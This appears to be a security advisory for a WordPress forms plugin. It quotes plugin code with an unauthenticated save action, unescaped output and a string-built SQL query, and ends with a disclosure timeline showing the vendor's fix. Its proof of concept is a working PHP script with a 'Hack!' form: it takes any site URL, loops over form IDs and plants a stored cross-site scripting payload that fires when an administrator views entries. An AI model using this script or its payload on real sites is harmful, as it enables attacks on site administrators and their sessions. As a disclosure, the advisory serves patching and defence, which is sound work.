_rednao_smart_forms_save_formvalues function is accessible for everyone through admin-ajax.php
File: smart-forms\smart-forms-ajax.php
function rednao_smart_forms_save_form_values()
{
include_once(SMART_FORMS_DIR.'php_classes/save/php_entry_saver_base.php');
$form_id=GetPostValue("form_id");
$formString=GetPostValue("formString");
$captcha="";
if(isset($_POST["captcha"]))
if(is_array($_POST["captcha"]))
$captcha=$_POST["captcha"];
else
$captcha=stripslashes($_POST["captcha"]);
$phpEntry=new php_entry_saver_base($form_id,$formString,$captcha);
$phpEntry->ProcessEntry();
die();
}
ProcessEntry executes InsertEntryData
File: smart-forms\php_classes\save\php_entry_saver_base.php
private function InsertEntryData()
{
global $wpdb;
$result= $wpdb->insert(SMART_FORMS_ENTRY,array(
'form_id'=>$this->FormId,
'date'=>date('Y-m-d H:i:s'),
'data'=>$this->FormString,
'ip'=>$_SERVER['REMOTE_ADDR'],
'reference_id'=>$this->ReferenceId
));
$this->EntryId=$wpdb->insert_id;
return $result;
}
Datas as not escaped correctly.
File: smart-forms\smart-forms-ajax.php
function GetPostValue($parameterName)
{
if(isset($_POST[$parameterName]))
return stripslashes($_POST[$parameterName]);
return "";
}
XSS is visible for admin.
File: smart-forms\smart-forms-ajax.php
function rednao_smart_forms_entries_list()
{
$startDate=GetPostValue("startDate");
$endDate=GetPostValue("endDate");
$formId=GetPostValue("form_id");
$startDate=date('Y-m-d H:i:s', strtotime($startDate));
$endDate=date('Y-m-d H:i:s', strtotime($endDate .' +1 day'));
$query="select concat(year(date),'-',month(date),'-' ,day(date)) date,date,entry_id,data from ".SMART_FORMS_ENTRY."
where date between '$startDate' and '$endDate' and form_id=$formId";
global $wpdb;
$result=$wpdb->get_results($query);
$isFirstRecord=true;
echo '{"entries":[';
foreach($result as $row)
{
if($isFirstRecord)
$isFirstRecord=false;
else
echo ",";
echo '{"date":"'.$row->date.'","entry_id":"'.$row->entry_id.'","data":'.$row->data."}";
}
echo '],"formOptions":';
$query="select element_options from ".SMART_FORMS_TABLE_NAME." where form_id=".$formId;
$elementOptions=$wpdb->get_var($query);
echo $elementOptions.'}';
die();
}
Proof of Concept
<?php
$exploitContent = '{"rnField1":{"value":"<script>alert(\"XSS\");</script>"}}';
$maxFormId = 10;
if (isset($_POST['url']) && !empty($_POST['url'])) {
if (ctype_digit($_POST['howManyForms'])) {
$maxFormId = (int) $_POST['howManyForms'];
}
$url = trim($_POST['url']);
if (substr($url, -1) == "//") {
$url = substr($url, -1);
}
for ($i=1; $i<=$maxFormId; ++$i) {
$postdata = http_build_query(
array(
'action' => 'rednao_smart_forms_save_form_values',
'form_id' => $i,
'formString' => $exploitContent
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents($url . '/wp-admin/admin-ajax.php', false, $context);
if (preg_match('/"success":"y"/i', $result)) {
echo 'Successfully infect form '.$i.'<br />';
} else if ($i == 1) {
die('Smart Forms not installed on this site <br />');
} else {
echo 'Error when infecting form '.$i.'<br />';
}
}
echo 'Now victim needs view entry using: '.$url.'/wp-admin/admin.php?page=smart-forms/smartforms.phpentries';
} else
{
?>
<form method="post" action="">
WordPress main URL: <input type="text" name="url"><br />
How many forms infect: <input type="text" name="howManyForms" value="10"><br />
<input type="submit" value="Hack!">
</form>
<?php
}
Timeline
- 12-10-2014: Discovered
- 12-10-2014: Vendor notified
- 13-10-2014: Version 2.1.1 released, issue resolved